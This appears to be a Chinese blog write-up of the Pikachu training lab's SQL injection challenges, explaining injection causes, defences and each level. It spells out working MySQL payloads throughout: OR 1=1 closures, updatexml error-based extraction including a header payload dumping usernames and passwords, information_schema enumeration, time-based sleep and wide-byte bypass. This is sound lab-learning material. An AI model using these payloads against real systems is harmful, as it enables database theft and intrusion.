Pikachu-SQL注入
摘要：
SQL注入漏洞主要形成的原因是在数据交互中，前端的数据传入到后台处理时，没有做严格的判断，导致其传入的“数据”拼接到SQL语句中后，被当作SQL语句的一部分执行。 从而导致数据库受损（被脱裤、被删除、甚至整个服务器权限沦陷）。
在构建代码时，一般会从如下几个方面的策略来防止SQL注入漏洞：
1.对传进SQL语句里面的变量进行过滤，不允许危险字符传入；
2.使用参数化（Parameterized Query 或 Parameterized Statement）；
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
产生漏洞的原因：
SQL注入漏洞，主要是开发人员在构建代码时，没有对输入边界进行安全考虑，导致攻击者可以通过合法的输入点提交一些精心构造的语句，从而欺骗后台数据库对其进行执行，导致数据库信息泄漏的一种漏洞。比如我们期望用户输入整数的id 1，但是用户输入了1 or 1=1，这是条能被正常执行的SQL语句，导致表中的数据都会输出。
注入点类型：
1. 数字型：user_id=$id
2. 字符型：user_id='$id'
3. 搜索型：text LIKE '%{$_GET['search']}%'"
SQL注入的攻击流程：
1.注入点探测
自动方式：使用web漏洞扫描工具，自动进行注入点发现
手动方式：手工构造SQL注入测试语句进行注入点发现
2.信息获取，通过注入点取得期望得到的数据
1.环境信息：数据库类型，数据库版本，操作系统版本，用户信息等
2.数据库信息：数据库蜜罐，数据库表，表字段，字段内容等（加密内容破解）
3.获取权限
通过数据库执行shell，上传木马等方法
下面开始闯关：
数字型注入（post）
直接输入数字就可
正常来说，我们的数据是放在数据库里的，当我们提交了这个id的，后台会带这个参数到数据库里查询。
那我们来抓包来测试一下 ，把传入的参数改成 1 or 1=1。
按理说应该取出了数据库中全部数据，才说明存在数字型注入漏洞。我这里不知道怎么错了，疑惑出不来数据库
字符型注入（get)：
输入lili，可以得到：
因为这里输入的查询用户名是字符串，所以在查询语句中需要有单引号。
我们需要构造闭合，闭合后台查询语句中的第一个单引号，然后注释掉第二个单引号，构造的payload为：kobe' or 1=1#
这样我们要查的这个表中全部信息就出来了。
搜索型注入：
构造对应的闭合，闭合前面的 单引号 和 百分号，注释后面的百分号和单引号。构造的payload如下
xxxx%' or 1=1#
我们输入li%' or 1=1#
XX型注入：
使用payload xx')or 1=1# 可得
insert/update注入
所谓 insert 注入是指我们前端注册的信息，后台会通过 insert 这个操作插入到数据库中。如果后台没对我们的输入做防 SQL 注入处理，我们就能在注册时通过拼接 SQL 注入。
1.insert注入
使用updataxml 函数
注入payload
1' or updatexml(1,concat(0x7e,database()),0) or'
得到皮卡丘的数据库名字是 pikachu
这个我还没搞明白，截图以后更~
2 update注入
先登录进去，在修改资料处抓包
Payload和insert注入相同:
1' or updatexml(1,concat(0x7e,database()),0) or'
同样能得到皮卡丘的数据库名字是 pikachu
delete注入:
先进行留言 在删除的时候抓包
由于是get的类型的 在payload记得进行url编码
payload 与之前一样如下：1 or updatexml(1, concat(0x7e,database()), 0) （要进行URL编码）
http header注入
开发人员为了验证客户端头信息（比如cookie验证）使用或者通过http header获取客户端的一些信息等，会对客户端的http header信息进行获取并使用SQL进行处理。
先登录
然后抓包，修改user-agent或者cookie完成注入：1' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
盲注 based on boolean：
在有些情况下，后台使用了错误屏蔽方法屏蔽了报错，此时无法根据报错信息来进行注入的判断。这种情况下的注入，称为“盲注”。
只有加and 1=1#才能返回个人信息，or 1=1#报错
用函数来构造payload
lili' and ascii(substr(database(),1,1))=112#
lili' and ascii(substr(database(),1,1)>110#
lili' and ascii(substr(database(),1,1)<113#
112通过多次比较才能试出来
然后获取表名
test payload：
lili' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
然后获取字段名
lili' union select table_name,column_name from information_schema.columns where table_name='users'#
盲注(base on time)
同样的也是挨个试，这次看对错是看这个反应时间，要是可以的话就会五秒多一些。
payload:
lili’ and sleep(5)#
基于时间的注入就什么都看不到了，我们通过特定的输入，判断后台执行的时间，从而确定注入点，在皮卡丘平台一，无论输入什么，前端都是显示“I don't care who you are!”
宽字节注入：
刚开始尝试发现注入不行，抓包发现以及进行了编码
在抓包后修改也不行
发现‘被后台转移，所以构造payload 1%df' or 1=1#
注入成功！！！
